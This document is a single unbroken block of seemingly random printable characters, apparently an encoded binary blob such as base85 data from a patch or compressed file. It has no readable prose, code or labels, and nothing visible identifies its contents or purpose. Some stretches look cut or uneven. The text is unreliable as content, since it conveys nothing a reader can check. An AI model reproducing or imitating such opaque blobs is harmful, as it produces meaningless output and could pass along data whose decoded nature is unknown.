zz3D!XxH~75dYdm1l*eK>C}rFV(%boCx#Qypi(*8b&z?z+<5J9qQLJ7I3OC03B_;w`slewLqJrP{wdS zbZ)ZPwg*)Q`<>-9VA7JqvVEN`Y`@5^it0#s&%BrtIE!Lr2p__szndaM_BF_3>gU8s zjVNV_*BH8dy&_XSCRMvia?YHp2mJU>GoA4Q5~*nnubq8dW5SYd$9k>rg>7%AHH`;$ z4gKFm|J@Yol`(QCQr<=$Jq}fH{2=m)A0{omq1<)n7wm(d=)o)LGjhSYp+}Eu*;f?( zc+0+HVuOu@qeL@lQCJ8C%6>6)^*Z#got&l{@I=0o!tuv1y6}gHUrYk;5ub2(jyGDl zZQT^bT{98#uZ2?jDb+ZHVs2;=%C&cDvo{TH^Ip5oQ8k2bkt5XDibyjz)pe|>#5wIz z2)hni!R~xdol&MNn2u6(?BfKeM1CnY#TcFZ!?;P!6FQa}->D4qdv_}Ir7r$z=@{Ei zRnq4w5ew=Q^s>dfk6d#;V@)6~du!;J`rzU9W;f{ z3RO!!tGlc*m}P!9W*H9}vP8X(F}Myy&NTb}_9z?6wa4`};zblhbBncT5)72f5l&-o zvsAEt<#xE9W{u$>n@D5bcDUkcSKQDSB?2IG+Zp_$po$AM-gKo&{Cz)ZhAd1#vbkgc zK@c+3e!gB-1B1bec8wb9Lrh4%T~;AOL>`npzZ7A3<_LYN4TXNdkoXvaTI00?u+KN% zGu-Dfi}tH|yHCw$72B%To<1qZEBSOE+&8ACRW5hVxvTN)_|7>^Y18XNFF51fbQB7w zk$&4I?ZCcGYKE(D*pqjF;>^nfv7U3ouJ22!N=xg3i1{6~t}Nqshn;n*83dzjUrIAd=qoeR?87 z#Aj_aRnX;Hf7e8$mgeta6=bAU>fJ`85Q7?Px5gq6kB>BzoB~?n5bztaI8#AG88~@_ z4;)5;+SAubrk`b0@P5l1DS(q3IyV!Y(Xe+{!0#RxY_385*_w$zdQtY~&f2O~Ei~et1DHW6M06ElJ4ir@!A@xY z<*Zu4JoL-T7C?=pijU7$m;MTs0qBtEqQL&eud_nS&SVkA-MOK*8~eBp1nFJ zRg}QKxuvrcjA11!@V?7^(6o|Mf?yeFQN`53VJI6zH<(i(%2kgxV#61ww8^oF~-=#Bgx6&;*kKkwT<#~10N0DToX(hIyhSrfZX#McqW z{*s^BBaRvdo3&7cVL_O6M@{_AQQn38jC}tZUrK!;SQpEjWrju-_jY|IYkorXk0aUu zBarufn}q!-!)Y(M;5aQ@0~xAhypyzcTuzf(YpUi(g5~Pu;(p%u=O0f3uH1y5X`rPy z2t)w?-tY^Yf8kZW(~R%yN{4REayw1(4<6AM>XTZmTVGfVv6f9A&9*N`r5kum`6~*s zbkB_T<8M=_?dLpfNZnqGs2Tb}oo&$cu0983iMNh|;$gDr90iaeNuR20p}0uW(3Qwa z{s&l$*o@~S|Gl5?BKb9=ys8fqJJ62~tQ9FaN_Hg0>lR+;q|P9j_=At~kuAKc>FyBU ze3}Dv){y}HU~(5g-@Wi~fO=OR8O$%4lQy7<$urxvzLm-DKL`_zFGg=t^& zB8J1X17Z!@mSN}jr$qOWv&y~7=iVnb9C1(}!)9pw1Y`om64IEOz^Z;n-YhXb)&IoA z0d{vJUQirCVxQNvNgy2plmXpAG1HCw6D>59{w3x?8ooX@MN_^%;}0-F3VnhKrYxql z0`FZzi<>R~l__hYYhZq;^~Y30Qww4vyzdSaeuAktC*#ekCAbbPVX|mY|(D2CUM0$i>AG)$gD_1tvW#SU|4C%l~&M z3LyCZbBo4TFx3zeL9tEt11T4pB0sTA# zi>&?fkumTQ*58pNL1;;E$?8070{K_z)%zbt%bTeoW9X;KL~<|v&6}~KPdhZV7;eyb zHML9?7FAGM$Ruy;MY`*ZuF6S*Zi+#7xIR+<{IPKd45)n$Cd9DQJN`RwGl*uN z2#gh7?G&u#WyEKpNgkYB9~UFOe!~(5evU z!^TNVgd*$+Q00@yO>sqq?&?rmiPhwPv-?TDIk42eY0apyWXXch!m>A4Ihy4FL(%NR zsVvI^tFi2L;~l}a$M8y+g^>Mo8TaT*|f{}AqH-1|G`r~I~zz&B^(cUe?=eI|Xk(p`TQ1progv!T*bQ0A)RE@$N-sNa% zwXMX__M$%LzcTC3o8Y-+_}Nixxf>f~vs#mx6G5TWnIKtRr4fCSl@apghZGMzI_Ox* zua^A_V|^nV)?hs8%v>ZYg_7_@u?Y127c7csGkPPGBn70rVFODAT& zk*)Ft^d>XHLe3LTY}U@?phpd?fev=u$CsF?>XAXm% zAma(7SAnZ&sv096Vs`ONwzwWQ$TMWOYZ+&?xCyG!=$;I(rKR8 z_%k!G$s>KO!sNHD)86HNUAMxMbC{B}zMoR**z!1Qc|h40v-6k3lZk`zV{-GCTlq78 zopy#s&iynCwx8~zFRuJxFT9}W4wYqx85mm{ZTPoJxKeQPNX?S!&apPfVeuYu}-t#Ttb<6$FRjU@s1%b z)g}Fpcbwx4OB%K+?Z#N~RWK1ERqn_3z7W~4TD-*38MC>>J8oG#BHr=Y*a`MJz6Ak; zYsBRUo8SsK5$wN*II{1D+WRjB-~RdCym!ahyE&n@O+nM~Elk?kZ~qQI$i{5lRgA1d zhUg#d znw|OfwkHG#Z$yk7ETC$&4r->PIaZxmK{goq^=xOLiwoGNVOODc$ir7HXMa&`HbI&@ znS8u;r#ZU(xVn`ZFzct;>7vP>qn^0z5Jbs_i9-@)6yJ9qQF;%Z?&tsVP9)fYN!1LF z*40R0tv3Ff|G4XNb0paSNkvd>%$XXQAv_w7@Srv_WV4yDgLSm95{aCKy~VA8B89|f zjO-nNOsqt-a%u*rTGLdo!(7PxwyY$|iZF93E@?k?gkiGe8Rkasrxjgzb=u8YoFG(; zQNMrbA#l=c_4j1dsf7II;Y3kn;g=RRF!hwi_v4j;KMOO1yur7<+bLJcE5goH6GQR+ zH$=Cl?$|oLJ>J=O?)uanPsck4&;3<=?E~@sgXcbqJo+&tYreqrgCbtZfZg6t8659S z{NyJ(DrJQ)_0cWRH8d-aB{YPXf$G_#LXv;nhUa}o7R3ca^f>m3(4%t- ztpLa4)w=f~M|C>D+%hkjzyIaTC%QkD^CAp~*# z?0Oj!GAA{riZ8xARosF(v;TQxQzHs7t8QguAN)tDg`^ekEO_njB@14RY`_K}bac27 zQ6CzR^PYDMqtxD2IpLS)zqvIzETGkRk^dD*awqvc9Kla63?c=2uxbgldmI0U_kPuA zwO+GDb8?sY*&*u>Ez{O^zYQcu8DYqCqeLOcZggoM=bcTIa#W8)ZAVj-^VP;kev^f; zPzvJMs(83xXyuyBK!o-HeR$l^O>TZ}#k_GWWz#PpeF7pM~5DpSTsG{R1|7e?A`i; zVpm-B5n5)+aiN|FyjI0xuO>Mx^w>C_Ih)<$yn;~OqNR2EnQj^zs1L&E%>y^FRM{)P;-R#|)+^sL@&H7+X zB)$f>67gZ-Z3}-n=PY2UN{+ZI-q~;Qn~~J*g^}?7xkn|hysJ3Azu$r#8Pw7a8LuCr z0%K#&|Kc`Jpm>Q+xsbJ-W0ERMpZK8x22Q_hgeHCZ2MLx;g>0875h&X;OUXghE3{&S z$S}F!h21R|FA24s>;LM2=lj&PbP&WJi7zIIAA52~ar7AemPGq&|4&EnP@9(cY|nbZ zQ{X?Ij$X087V=r6JT84v4Tg`&v1!ucx7I+n4>tFEP{7WhxjVAEfaM(+QtE6Th zG}BFZ&)mftC4m0n#Xho#9j||3w|#&A$%Zh;yo?^-Q6DBBz8l7kzWZ|U9Y~ID>+o*2 zZ!9K`d1qTkUN0bI*P8^@BVW9ez>4O!W9|Bqm*ncG(Y-(L51$&-_Z*549sT9ySApy# zh%CtBs*)5!6R zo;U5BtWE>;6Oecf(6nV~*fi2_yVU!^iE5KL7BC?rRLR$`g`(Y*mn^wg^~Sr_+yC(O z&dSw0zI(kRv-NsEr=M zHdJvP+4H#EQsAB2c*pF;mGO?-RB(2vtx^RCWZyongFb?S(NJq0uZ=(A9dkpiRs4!~ zG>6*WQ7HjxLAly}wAuUCnR-Sq*YGmlF+bK9BHEsQgKq#dzQ6C>Q&Uaooh9>1QcXX~ z9FuB#+W)aBQ=;JDPUJXbVwH_^mBntYPt|T!|LWo$ednIduLrm*nb(`UA7xJF@6(RI zvQIZlgDW(V*R6T2_>xpHd0)&b0%}C`7?2E2`S)r+ z-my4zcbv}zkO6bM8s~2C+%Iz{um;cle6F&`6~5r=dc1G;Hoscf;Tv^uz>-0ZvzXAu zS@WMT&cX)VOj=6dNshe1f_B%NOao50W+5(M#4uCDF!O2u2gL9z4WCx{$8seu zdeEA;iVF`eVSQ3ou&6ElPj1YDreK5CclpJ%Gbo4od>q%M25n7UfsW7In-}0(*jTtu zS?l8+y%wHm^sV(nnOIJYHXG|($7klQMfJ=QhjAJix4(8mAYO!a=oLel_h~e)H?aFDf-El;n&8F@@DZBgi|h)j8N$2r{U7~{HK)-}vUJ?6@P0Y|S~e#vgYUwHo&UUZ3L*Ip(`3<;L8g2u$wQ zS%F-kfC=(j{k=z@701qmz}s|RMlZXLas7Wa*Z*4ef3hl@LA*&j`GtvNJIWS_CE!8! zTz_YR)_Q*Iszp?rW5d4H4p2y~*=k|dyBQmMLsCieO3qamUa}}37e8{+Q0Y$?=01oW zqH2~YC>Rme5t_ICnBN&1#hL0+Gx7Hl?J@>L;_I=7y_c2$WViqr4zfQs2PN}pKpQ!9 z3Dj!uYk&I?oQbTf(_10wEaLndhd(XOeEONHCg{1#cIx8)j%pb`CDyxTe&Mhv=R4%k z$A(v_p7CdWOi+_->N$`fsW=TI)zUW|N1^M>Y-ji1XX2Y zy3^4wVs$X!VQVc8tc~WYJ6R9m5=<{^Bk{FlC(#}bXHJ*lg`W||?*8*McBe9S4QFfY zu%40P$(!~mH*8RBvs=&=Zq*nvHYJlsAnz^-Il4bZV5bJ$;=8^1xYnop@P+ww-wfS{ zj&XF~oRxLZiY(7tI6~{ai2#yVV-gR1Y1AfnCl81suqnCSK8g_$LcNs&1B#g}T4{1g zh8*G#Hz3{`pm7SzVX21o@09nBNH;qVrMPyXANfsl>nF~%Q152?{KtW5mw?)ZA9G@d zNExig6Qce`gt%_?SsZq7w(WFt-XR!13g{NX0 z!|EmXNx->aA1UFzMeP}k%!hd$0c6HTYaY;Wc%IdQtwvigYrWs?KGG<#d{kCf3a6Ln z@v-9L{qsAI3kG4y+u}WMP09{)`6>)x!El@iJ#yUT;)bip4^7S^>%F#WjQq47CoV%w zjlBPK$1kY`U?H{mRZa=(7--RfW2xWL>6I+j?_&uw=U-MH) z0)v~PoS%vb{OVFYK$B-j2A!>lB>QRvG2dwYqyQe8{UtWvhUDeUdw(=4SOXuH(~NhZ z+O1D3;5vc2ZfHK&Rb|>D$x`ppqaEYnjkJxr>06m2h(Q+~$h~w$~BuxIJ_1=+re&6Pz`8UT^M5 zf;L)PWKjC$(zwhHs9t_$EIxB|>!#T0?b6RqMdu_ro&B8}Ng==L9A!T5c8)$CW0KCzkKoUHhEg^^#Siof-R(>mq%@s5eMwE@ zO`)~}bPr;kbcSQ5WXZ`aoS8-@{-c*4BK$^`=o)(GAY@AZ79HD7Q}3}HrR0!o$tSF& zsSlG4V@~cn`XWCc*3uO;N6U4$;pO7CrMc+#*nDbTe}Sttu`};OJ}HTvOX)c`-O?Vr zvZcBBme_a-H&j_+?yh12Y)JO$`b}wUNaV@7Idg8g`L@qbi(qy=k&^#)R?vX&qjs=K zI9Cb9lDiW=sWK-xKOk&9P#wh5_}Uo`1LSRQ)2;`Ket?K}Sa=%{M5IV|j6L4}iJX$j6UhCe4Ty926-l1bI2O`5W1Y75j-1M)hU5*1`;y-<`Q}wO-KuLQJ^}iS zUhj0NB;pCu=fekl8JH~jyi|c2zj21DnzutRjX5AM^MQl_7gSbwWme7xsyYvMqCo`^ z_-YakWh%K9rP)`-vaK9FZp{1i$PUPl?h%13>YVtpQttRjy#$W42?}^r^ubkoCBejC1Y1>d+ zG8jGhP&@rZX>idFp+@OPtRAMSa$2xEreFntoZNEp^|2G!mN|~dki9QAu!~nm51}|W z7P4(g-PX>4bzTw6Mezq~;Va-yTidxlY0tT2FUJ*?GR;Rqjqhm_3g@_#5TC#im2Dp^ z!d%%c(h6;f?;aEif5>7o{T6p0R;UPF4Ex$@6{80;)tA}^bUmCc=z6AoZAE{jF0tQC zZ-U+V2Lwnl*S38Tax1IXIe5E6>D^4|I9ZsERLy4%OnuGNQ zt(iAD!H#N{Y%fV9ZT2U^Zba^#$+@=*IAJSx$#}sR?h4-x0ek`5ni1ga07UlXI+!wp zoc>uI@KS+y1q18-2Bg@o5uDi}(=UhfSf1^~ ze(w=pw&&!b*sr|%GP?22d>JWDLKGw1HF{NU8NEq<>ENIAZ~uJpuMml4O2Q%XXD^+~ zO9@RUmV&_NZyP^2%P;c+$Ju9>|Apd3h^Cn&FN2QNDq)5ut5EBG#t@dk^M(p$gr76L zntp$i5+t?gt+o^=cDnxGk7qqt=CJ=4qOkqHrBc&m2m%Whv`LxQy0*H=Za zP%K@`{_A5G%kt0#$7-pua68g#U2#F|c(sRYEogXB=4$TbgEWZSqcKc>}WR2aMh&qa3*)J<}NmmSTzf%#@e^Kc1T^%)}<6&@Li4Y(JZ>6 zE^H;zWnR5N zr;ZT#k!`+PE%#H4X&2w45+J%D+!0!#Ln9LVGrg&!NTD${NWg8`Z)jUHqtnmb#27nO z(=oa%6LaE40pjB?DEjx&=vnaZrV zGq7gWnID~z&CM>!0cW#LVd7%~2@-QlGP8EmX2Rf+10--HgqBV+a4ZC)BsRnSY z5e+m@0)e*a3BxKfmL3d4N@5ajX`Rm?EX!0Q{b~Ec67SQv%=7?R zaZNSmD6IhYSNL+9^$FY4-~Z>kSvgHiNR}Q^d?$ZJ>`^ba;Mg~t$b+sy4BksX;Qf|A zfh!@xz;&PJyg9G*nAjvg(!<#`7))k|xVrU$c9i<--!e_070&B=!YPd9iR%skoy7#o z(gPJvz>j>OXhDBF9K)TOfq`fn6Sn-m3ilw)Y`Wu*Q2aq7$=eI-lf}y;I!&t89xRfh zZFw-n#hc`tb7$pR7+bKJt&uFTij3l{vNbiQ-34>4_CNF!v0- zA^>Q8QD&w5L*W9d)N@xWr zuU5263hTd@UVWew2aXvSc~Pnod=MxzUgG!f%5%k7=s6>UbU}kj&&v0k1Q2IORe5?+ zCxfq-<|3y!Hz0KZl45RQa>P1?N}Nwp(@1L2x=4y6Z2K)39DaTgF#;AH>&6v{VB>2< z=nr*bH})s_$~oEbeXc#j+gyCxc|H{Mn2t{0yPl=Qz{Ek*ALmPU#1(d*IOvTRe(Xm# zH4aQwC|6gdm)zBZ&eeNG=Js=4V&sR0?tXf3;y_ZKgo6bbKG zum|H;!;r0w>;_!+72c0y@pox*P)lQY^W52&CL3FdN0aEHKK#eU8|qWnv-=+V=IHRt zi=U_uzqqh?RANL+eR#{Fl2M6h3pHETl=wO^!<8AHtMmk)^;>aI+Ga9A34 z_&Ght{}JJ5a=f!{@d+BAB?m9zILrk{dB4!49DgQ4B*4MC1rq}M=#oyoUtGrr3r_%! z=&x$QoYzKaT8=(l$1hjMq7y{!PuEl2o37XV`jtNBtFtpFdsk!|s7o~$@-g8;JIz+S zEqrjn1^O5YIa{TGkYUsjnQ%olyinz>?9ZwlUSKknc^}rO&0ON(rF3OtLjt3NUmfz{ zP?c1Am-nosUbWYUSI3@6e_k39mE|#H7WseQd3faC2gq4^?0#eNV~$UoRjQs&+3xoR zl}$spbAE`4ie&Vg#r28jy>kRPJ*+Uw1xb^|`%Or}MFZ!uk{E@U?f=cj@cMZhGdf2J zufNgG9&ciY_;f2vB`?BlcQWd}PO9wLA(JwB>!do#n|~4h)V~e?*Y;-NU(W53;Ggzl zj{!L>{GnyC@A_jEgpQo5`(bCQ6s zrT4w1sMlayQXgiT{6gDb6qYv-vZWB~k}+D}9TR$Nw&mZeV@bjW1^Dy=uvwjc6inAA zUi7B1$jf#rHN1Dx3z?KZL@!eQ1(YO8RO*`xMyCcja43%? zv2`*ZanQ-4U#Iu@@+VIS80&cN|Mt*mPk-yf*x$F${`kZ2&$%uAgnaN0H3=`D%fm~6 zaFBjYkxom!Kp2Wuizd;Jn2{ELEU{N)xCcseXwLSj9yv*W#};P3BaBw3f6wsLk%9K^ z?8vC;{<)?nLd*D=9pePy%FWvR-6btDuXop@by?Y7aW&vn*^|GfAu4PS*C`LlOIw>GF) z3|3*SW&XEo6`{LNg8WsD<~LRKN23H+)vuNQK*W+8co9XlF|460^GLTzz#sqZhZ+A9 zKf?GcoYt2=ZvIueadsY*)+s_-N=kUgqRWWmr<^b3+ns)G%F4HSJUUe;l5a1r4{un^ z=7sm?&QFYZq%k$Au#po~rqw6veXaQ?sC%;;a`U%|A6&thW6)Fv!}#@qmePs4#=GNT z6cipxIoVKuFM-Ep1xl{SYA}3Vy(t%QEM^xl9x4!%4{n zTMVQ~05N@eMKFF!Kr`Sz#Pl#x{7PcMEAV3R7I=%#vJhWo5N`7>_pg^_A!dEs1LQ6$ ziklyPouf~u!)H#`If_{?PUJK~!?h4e6%WQHgqI-H+Qv5;;d0Yey*Y#TbdLOIXF)*> zz2rb)bbvl61OJ=n{xUNiJI2~_i0!{J&TwFnrKtfUO0u@{GT(6Uy@5Hy0WD(3xcwcG z4fkClhHt9Ia$rjdGY|NSik;q3>Tiznyy4I16J5H0ZfZ0eUDINKG}JhOr9EX#ETX+>B5+g#P$XH7B|O!-aB^q5eC zC73!}1>)v?A{Ycq)*3l&ha^`;q;Q8HepqJv?{<185Fe4>=gYQq>2rCvKIaoa=+TYX zGM1f+5kGu+>AVsllbnAeqk58L=hRltQzCGym?`txfu%j@-1Ni7K)1?U6hlWWHtSjM z-rfg7VP2?^4FqagBf|{6lm3bpgh?=3;{EbMj3Dpw$MwT&{f*y+%zxyA+v7gRUy)Ms z&xN>0<0`q2RX>`Nj#A3H*4qOX&Oq8!19QLI;XRqp~k98 zC?BH^A@7(sfNlsda4eu0@jl+#^WVik=^fz0{<{`Z%W`y)?ZxRGJ(kH&W+a8DbQFc! zE`)-Umq}30Bcx`VH$9_4Vgn5OpY3+5H_^Y2`(ClrlCw+u?#}e*M@jTV{`Q8xuJGw=+q_?){yN(V z-H_TNGg^Z1b=e2*ms1~l`x@7-Q%hDp%{?iA(mMx~;DGK7eSNjnt&hsj#V6e{%4LpF(yU$-=q+D+Lu{<(I@#^9PQ6vNRhv#u|8}8wF4)KvEB9#Kfb1h z2?@K3*M+h3ll{V*qo*^c5n6z;XFLE@qwftOP5oc~v8NOI7=)-IzAQ7&q+0oP>%u24 z9uU5!ctL6KAZLE!?cslT_vKX>-WYv7yf&5z>VW>%FKUGFsud0pf9oJev(9a5*yce_ zYsKH;Qx~5)R{1fM?mfI_?x*wu4_I;d)P+YW2Ylu!a$aX1lM3UasIx{fpb~w08lMjD zeO=?LQKB|395!cM@`9z|R~A=BQZuP`&)f@>(WS-VR~Gz1;%$w0ainl#WE%ikw03@t zUHi$tqx-4X`v!j;(b`DfxiN1f)8RwWZ6FBU_)g4?ZyAHajLAl%r?toT<-OmR|K8DuZEJj$!MBec(XDIQUm9wCnupVg4=IaHNlmnU z!)2+7Y~2_HP%Y&w-i31e zD7U6&TR`0Fc(3rgY5#B6ztZnVTpjlBnbsdKWExJLl8BLZW!l305fN#7dn_+H_95|? zC|vZFp8sK^ zh5OnWf0o11e&m3Uo}QjbD`+N5`viU$3bX#?qfD=*{|t*}=)pW#dzor#2>M*fH0mL=l(=?RbW7SGE9K_M~gbqXt*2cgcN{ z(Ufr8JQB~^0j0keGF*8hiD`-h_=!&!^{3GEJ}>dMzSL$19}&<4Jr$+6jgk)*`-Cwd zpn~)pNExGz6|eQ6jr4k6HYP5GK>UCW!<-1M6W{i3T$rJ|&thHQNE$Iv7I7$B9UTDv z8^f!kmFaiY!{o>_{Dy_J0`D}MBJ#v>7LXg|21u&~X%Ub%h@z8?r$#8&fiBqY6N1l! z1J98m7xu>M>J7ZtVT>3H3N|Fx*@@*FMbX4bxIhY@lknicMnnznbNZbjC;3aCjV2kk znmD-?AV$va)dO4F`-OWK83q4xa(IA7pPAA+#1VPF@j#{I{eOyLwUQib{Q@I<0PgPYr%sn=2|+nLd>?mXnQ7 zkAB{Ls_F$+i(OkQtreKwRmpKUJV%v0o;c8;OXNph?)s#R68hK#QujVRN+Ih?DOK1_ zd2mw|+|+O*z{~?_ZEA`0WF;)eEdzyS7$Z zEA+`#neEf>*jAam#2b6E(sNOhwL+I%mDw)cO-89~mo5Za zm6dl`-#&h*E|mpcT22erfqR3Shl88P)i`jqbA{;Dr62#+bxB{TOI9~sdNBCycS)7$ z(?_`a*m&5dJXJ5SR@)UYb)`$L%50Y|*Y+T4XyG-=5Jir=Y?~TiS=nq~xGU*Vl<`$1 zXY$y!bzH5rwX$-CUs6{}R+Z(b**kh!z2bnq%-3%KE zUm1iNcI$Vtr0S&83x@9UCfp+l=$8sqM(hC0a#qm7ZR;NYIDprg#y@)Kc2>T8dBR<^IC|A^n76bfPFK`?^d#>u(ww)(h!7?w4F6*y`)8-tsj+!)Dlb<}p; zsO=76`bu?L-4MX);J3BOks*GZQt_pXYei+$N{d|)*SgY*JLre>TLKgL%yt}#X93aM@` zWrjPZQJvVS%5@f|_93Bhti;-E`tSXBizmuHEJl4TuUlEc1`$MOT zjCkL4k!L@Pmf_t-$q&VK);tE|Vjtr?18H|T%nR!wqYo{eD$SGw>M!%*bLXkm0nopO z`SCf-L;b=9+l*g@IrA}pqKxCG-{r7wFOdlvt~`y;eJyP3g*Kra0_z69Hw7&;i)K_n zF;{?k8xE%h-n!36z3I$Cefo(2^ONzIcf)-8+Yar|?lH8FzY?_1`ci;)z@h^Datv^m z#5w&GWEY20Z=*_&OZLK2iYk4gRv#=;IUO*1X8Kt5COPtt9X^S3+<7mZZ~4OSglZ0T zSE5zUcR5MY%}G<&Rs(W+T$0n~QvGYj>GUs7n~Vs%o6C(fVaiIFi z6%N%Zsa`r%D|e{YBKl6E+kFQG(=m;rPzQCBMr)tf@yCxu-F^LD#b8`V-J;*;0xZ9W zgFJYVN8d^$#~g9(ZbS5&SAgi!TMvb3f8t=V$C3reCF~V{xhZsawV@TxyMxtXKZo(7 zv~oGUJ>3`C3CeHX>!aM3F4KV}f9VoTT@Kmo+GgR($1D0%XDW#e=~2n54tE6@s*_kS_-U+W_SQfr22h+8zo7${>v$SYK)Zokx@@ zU;Cg3VXyX4Zt`vZjvi=FKVSv&XaC^5s2$!}eUGF7v;(ir9S?FN1waqFDgb4ALl?`$ zCdraBjx`0KDIv_{6aZJs6aXuDcm?2i^roBwFwRkwRK zxanAB#3I#pZLPGTfUW1b={Un#gPOiRgtrl-=h3lz-p*(46%ZtpR`mC7%)Jk{_P@;B zV?<}AhDOfCGCB(=#%J#BI6|>M?^^E2O=Wwsx4z7=w_|IY#CRUC_h8~lKf>g7=HGlm z8yIl0=*x@?T1$J!(9PgY9)JJ9XwB(n^~q5>&S*6rfwMJOWsCrTU^OaPv8I>F`BDu^ zsL69^<_i9y#{s`s=kynq(YO~-m59-bqQBU4 z#@VT1!MGy=RsN7_ODI)NSV;E?^l0_J%lz4gN!nBwgiMiFxb^?R{P|R6hcDSXG_ZM^ z%gZ5z%$v*HsH>0+Vos=IF$uI5_f zP+QvmVq*R1aftPy)16p1Dh1aK@zweBr$|sTUGpfrK<@5C_2ZI9H6)uc;+0FNZ_+fn znQ1g+v_A4)CTBx8)96u}M(^I@bK2N$)2NACHEGl6SW_3rC2zt%*%;n7Cz7wWh#>RecpshJ#ZQ^>ifK(T2SQ?alM+k z(Dpy&bd@Zwe}dopFt{F^He7#qEVzDlnqV#I?H=8&M?ZIu-uJB30vXG%waj8M!M&i+Bb{{XqSAa0FZG|B;Kx9sHf4RTtKkmjt zg}c!I%dmik!+q_hY#9$VEP)=$aL9D%(?447N6;V7ez(V%$gFCTul(0N$K*%$vZU=T zNB?6)|2GAg&Yxqts5Me%{_8#85}U6+Iy0=&urR|s_>NEarptT_2lkP4nFxxb(CjR+ z6NKg}AI(*VLGzrWv_K+%$5MxBmG6S-K+?DhK2*|pkD}jxgehjjUwtI!t&g($QIMAvg*xtY9sB6@&B^k;l{oV|M}0Q_r+HhQl15nX*4 zMEC0lJs-EkVOfO_iDmcohhw?PLQsz=UT%E52Ptm}NO|0*9!O6A%#rewe=-bTav2z& zJ~hDb;ik5-K2=$37;*Ah^19aW zo|Dt(;fF;(9lpq6+KT66I*`=vyFgMOa;5LhMYsG2Li$doJ45oJ-;0@bb9la;=Kl@)ZUV2O>!v(>=gW~RaE3zPQ|3ENt9Td59niP?KA`U$ z#wYWEFG;*_ptybn`u-u4++peat0aOtJbnM;6+?7e9f*GTny#+NnupYS)-`#{8+rSc zT>Q{(aNx(7adgh=Q0pl?F#X9weM9>7XmxGP`D8|-TST}G2;KPsYm?NZe-dXjk8B~4 z>PUEOb!-q`>Z(X`N|nM7>aoJj=UcoOU*y7P{bJ|Z`NyvnP>qrnFL_;e(@DM3dKWhq z*F}h6mI1A)wmH0_;>nTl#K}=VTqsPNq*Mrxoe?}a!y+Q(j%^|=dn!;&B|c=f*BRek zC@*u9j5x$hlGy4(GR)&qQT}(r9)17HvY%Ts5v&B1AIoJh>u&_L&TQIEZv*H6sw}kZ z2Rv!#c3|}4)cAK=$n$&WW*z}n8BmqQ$d^aZvLztb))?F{1RpG@1T$ujb@3VLzwk-u zv8JN<>+EryQxyMm#q{tCF>-e`MWnye<4Ei?{A%K^DRz#7d)bfGkU52x>9`Zx%mdmx z!(fip2JrT*zuM}Vd%4vy_o8m!YyTW6tB-mde9(+yHiN2ytBzE(&?)zh)bZQbyz8fl z-x%CUzg!jk@P5Xft4yO%p**WeLy*4>he*+l3(wLRRz#Bh*<*k529)8WeqYJ5?lbbb zCyzV0tFoZ;1yUjWFM*lAFz_-z0VJBAm~E#a*A7ik=g|b~B}c@=d!s}$X8zMC;Vp@2JtZP2Jv-@pL*3f@4ugmpSo9r_GlRv;(y}6FALpir*mP0cvuKa4OqX_ z9QUBLT0}6_m;wW1JFkcCN{D=VG!*Ghk65%9?kk4sjh4Ve^AG2bxwMyQP(X_ zty?*ff{!_;qV=!B09FPYgyd|D4+{uLA$wH(LXd+i2}8q(4n?0tvht-NO#IqWyatp{ zF2A<&jIqfJHmdI}R3>pN#5BZflmipyo#~x5LSlI2KbY7|RI~NWIT17Dm-XF=$@9EF z{jVmaUdpN-N#K~_Q%(!R(7~#`RI)l)pU!{5vov{C%Yire{zOW>{s&4iwF?mMvsS7s z{#@zuve2V|s$_m=FgDv=xEJ-;X8P&SAh1QR`>yHxGSSra;JEKPSec{{?5TD6WZoEI?^PSJx-r$P#>gf}fkSKbiHtL5vss zo4o#Zg#z|?h1^<}fj!;_z~#iu+uXSmFPf^IeBQROF%*Bta51xrlP?-mb^n*PH-WFJ zy7u@(NFXS11ENMijW*g?r=VyP0Zkyly>Nq3sG^|7;ZYpgMoAzFYA_*kJzg8DZSC|* z)xK(NpSD^jYz>2qR*6^ysTPOUb9=3#_9;Va{@>r)=iJ;d+W!B4KAL;ZK6_Yut+m%) zd#$zi?!j*9s;8?+tB#!e5+;;L>oR44!E3cGZn*BlSg=!@qiu&Y2XKL>^6JFe^r_v3 zRyEsDyT%fw8BfDON!R^kRq*e(u3L=nelt^5*9jbmr2rIeF}BJVWwzs%AeTojYE%!0@t))sgQo5r-1O zNkz@iQwcVQelv9E)i0fl%R#U@s#a0T{f#pnIwNC~4+ zx543|-pl#$PupOTQ<0#?%0=}hn#U0^Qw!tCF&v2(HT&n%*&_t@Q!pSKjyV}F-2HbQ zE>rZQIvvwVSq|~i;h+H&651*(sx0WM!`5{J5%}>(>;XU55bYKI7{PlGAvdhS!N2Rt{}lcYaappz0B8Sx z@Gtnko&|pk{AJh+;h#tQ-SMBd5BTSBT`2I64r_4mkNA(_A7=26I57OPv*2H`c{li% zJh40cEI-b)`Fc10xsSL(;J-Dj!NEU|^8XqCT!&{B{>STo0Q{ev1%F=HdWipBzug`F z%6;JfB~G0N{$-oG^FQVPGx&dvBNG0{nSKEHv-zhwY(0d3#2)ZB?F0UQ7CHV8YY6!N z@&6S54{JM2g|TyR55 zdT=gyU^VQv!>;*b7apPo{<7Z)4{Y3+$nJ*Pf~w}#+WK*=fF?erAn1Fc_1(QIT?TXk zc#i&zltD&@8C}a&lf1Yy*1T(AtKm%U52HD}o&7;xeWX1_=YrKdjccBE$XTx&?9ZF8baq6FWl}Z!2Vy;5X zn{vv#U#IB`c3C=N+CiN>^8eoHne()2@aIXP%qaek2Wo~3EpruEXxSaFIOH|3-f%T( zv&gstf8MWEKBzpw4aL$1CKVWgM#BGp02$&8bFVtac$cf*K|n=NrL4pS{^`_{%^0B~ zF)=S>j4U<6c*2&f-WgxQOY5I8E8vNdd*=zX2w38*6SCOhnGGR3Xi@4v_NcLgE=ChO zqz(n{n0FoP=f@3^Z1yOXzO@~s5#V|ReTaGIl|`O;D<{${%!Q$8`mOQxxv zYfsWPT{kM&p<5=tpTV7QrOjvOG*o-_-~FdMilaeG2-bJH)$Qh!!XdomQq@svb%cZ3 z)n!}xQjgdXz3$5}w(k%h@{R^uMgq8j7STXE!Rk+a$M|p53mpNqjSMUQw>ufQcRZl(H24(grxue(&>$5WhYN>j3tH_MSnkU zSlKxK-4sjI7cnek-msndX9v)5f1g?{@Xr7s3u+PfRTiYya_X-}P1mqFE_I)!jmiys z!u(gj{PipAio}=+)Xca+f321Nx@PvsuD;m7fmzj;5Ai-y9{;=>tos-_EAs}Qk~M6a z*9VAXLq7VkKack9{K8<|yiSy_0MmFk|GlPySKtrE!uYVPjrgklLN35}AMpX;4htI4cTjGxV#?6HAE2A@iu!lrqCXI_ zOR|7IENt6xNu)c_#{XaEKCckp0pOMW4BMMu3|XG<{)UJ50XPdaH}UR{ZFFF<$y%JI 